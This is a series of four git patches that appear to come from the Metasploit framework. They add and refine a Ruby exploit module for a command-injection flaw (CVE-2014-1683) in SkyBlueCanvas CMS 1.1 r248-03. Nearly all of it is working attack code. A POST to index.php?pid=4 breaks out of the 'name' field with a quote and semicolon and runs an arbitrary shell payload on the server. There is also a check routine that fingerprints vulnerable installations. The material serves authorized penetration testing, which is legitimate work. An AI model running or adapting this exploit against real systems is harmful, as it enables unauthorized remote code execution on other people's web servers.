From bac6e2a3e18b225dd97e6cc88d94e9e525bac4be Mon Sep 17 00:00:00 2001 From: xistence Date: Tue, 28 Jan 2014 11:06:25 +0700 Subject: [PATCH 1/4] added SkyBlueCanvas CMS 1.1 r248-03 RCE --- .../exploits/multi/http/skybluecanvas_exec.rb | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 modules/exploits/multi/http/skybluecanvas_exec.rb diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb new file mode 100644 index 0000000000..482afd3571 --- /dev/null +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SkyBlueCanvas CMS Remote Code Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability + in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is + inside /index.php?pid=4. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Parish', # Vulnerability discovery and exploit + 'xistence ' # Metasploit Module + ], + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python' + } + }, + 'Platform' => %w{ linux unix }, + 'Targets' => + [ + ['SkyBlueCanvas', {}] + ], + 'Arch' => ARCH_CMD, + 'DisclosureDate' => 'Jan 28 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), + ],self.class) + end + + def check + uri = normalize_uri(datastore['URI'], "index.php") + + res = send_request_raw( + { + 'uri' => uri + }, 25) + + if (res and res.body =~ /[1.1 r248]/) + print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") + return Exploit::CheckCode::Unknown + end + return Exploit::CheckCode::Safe + end + + def exploit + uri = normalize_uri(datastore['URI'], "index.php?pid=4") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'cid' => "3", + 'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};", + 'email' => rand_text_alphanumeric(10), + "subject" => rand_text_alphanumeric(10), + "message" => rand_text_alphanumeric(10), + "action" => "Send" + } + }, 25) + end +end From ffd8f7eee0d765f56d0cd2a3093bbaa707ada9a9 Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 31 Jan 2014 12:52:48 +0700 Subject: [PATCH 2/4] Changes as requested in SkyBlue Canvas RCE module --- .../exploits/multi/http/skybluecanvas_exec.rb | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb index 482afd3571..7bc9062962 100644 --- a/modules/exploits/multi/http/skybluecanvas_exec.rb +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby bash telnet python' } }, - 'Platform' => %w{ linux unix }, + 'Platform' => %w{ unix }, 'Targets' => [ ['SkyBlueCanvas', {}] @@ -49,40 +49,41 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptString.new('URI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), + OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]), ],self.class) end def check - uri = normalize_uri(datastore['URI'], "index.php") + uri = normalize_uri(target_uri.path.to_s, "index.php") res = send_request_raw( { 'uri' => uri - }, 25) + }) - if (res and res.body =~ /[1.1 r248]/) + if res and res.body =~ /[1.1 r248]/ print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") - return Exploit::CheckCode::Unknown + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit - uri = normalize_uri(datastore['URI'], "index.php?pid=4") + uri = normalize_uri(target_uri.path.to_s, "index.php") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, + 'vars_get' => { 'pid' => '4' }, 'vars_post' => { - 'cid' => "3", + 'cid' => '3', 'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};", 'email' => rand_text_alphanumeric(10), - "subject" => rand_text_alphanumeric(10), - "message" => rand_text_alphanumeric(10), - "action" => "Send" + 'subject' => rand_text_alphanumeric(10), + 'message' => rand_text_alphanumeric(10), + 'action' => 'Send' } - }, 25) + }) end end From 810605f0b7c988a603c5ed8dc4ec1edf075e67ed Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 31 Jan 2014 09:17:51 -0600 Subject: [PATCH 3/4] Do final cleanup for the skybluecanvas exploit --- .../exploits/multi/http/skybluecanvas_exec.rb | 37 +++++++++++-------- 1 file changed, 21 insertions(+), 16 deletions(-) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/multi/http/skybluecanvas_exec.rb index 7bc9062962..6a9f3d4db2 100644 --- a/modules/exploits/multi/http/skybluecanvas_exec.rb +++ b/modules/exploits/multi/http/skybluecanvas_exec.rb @@ -15,33 +15,40 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'SkyBlueCanvas CMS Remote Code Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability - in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is - inside /index.php?pid=4. + in SkyBlueCanvas CMS version 1.1 r248-03 and below. }, 'License' => MSF_LICENSE, 'Author' => [ - 'Scott Parish', # Vulnerability discovery and exploit + 'Scott Parish', # Vulnerability discovery and exploit 'xistence ' # Metasploit Module ], 'References' => [ + ['CVE', '2014-1683'], + ['OSVDB', '102586'], + ['BID', '65129'], + ['EDB', '31183'], ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] ], 'Privileged' => false, 'Payload' => { + # Arbitrary big number. The payload gets sent as an HTTP + # response body, so really it's unlimited + 'Space' => 262144, # 256k + 'DisableNops' => true, 'Compat' => - { - 'ConnectionType' => 'find', - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python' - } + { + 'ConnectionType' => 'find', + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python' + } }, 'Platform' => %w{ unix }, 'Targets' => [ - ['SkyBlueCanvas', {}] + ['SkyBlueCanvas 1.1 r248', {}] ], 'Arch' => ARCH_CMD, 'DisclosureDate' => 'Jan 28 2014', @@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path.to_s, "index.php") - res = send_request_raw( - { - 'uri' => uri - }) + res = send_request_raw('uri' => uri) if res and res.body =~ /[1.1 r248]/ - print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") + vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") return Exploit::CheckCode::Appears end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path.to_s, "index.php") - res = send_request_cgi({ + send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_get' => { 'pid' => '4' }, From 710902dc568c3bbf1f6a4089adc446746c77a488 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 31 Jan 2014 09:18:59 -0600 Subject: [PATCH 4/4] Move file location --- .../exploits/{multi/http => unix/webapp}/skybluecanvas_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{multi/http => unix/webapp}/skybluecanvas_exec.rb (100%) diff --git a/modules/exploits/multi/http/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb similarity index 100% rename from modules/exploits/multi/http/skybluecanvas_exec.rb rename to modules/exploits/unix/webapp/skybluecanvas_exec.rb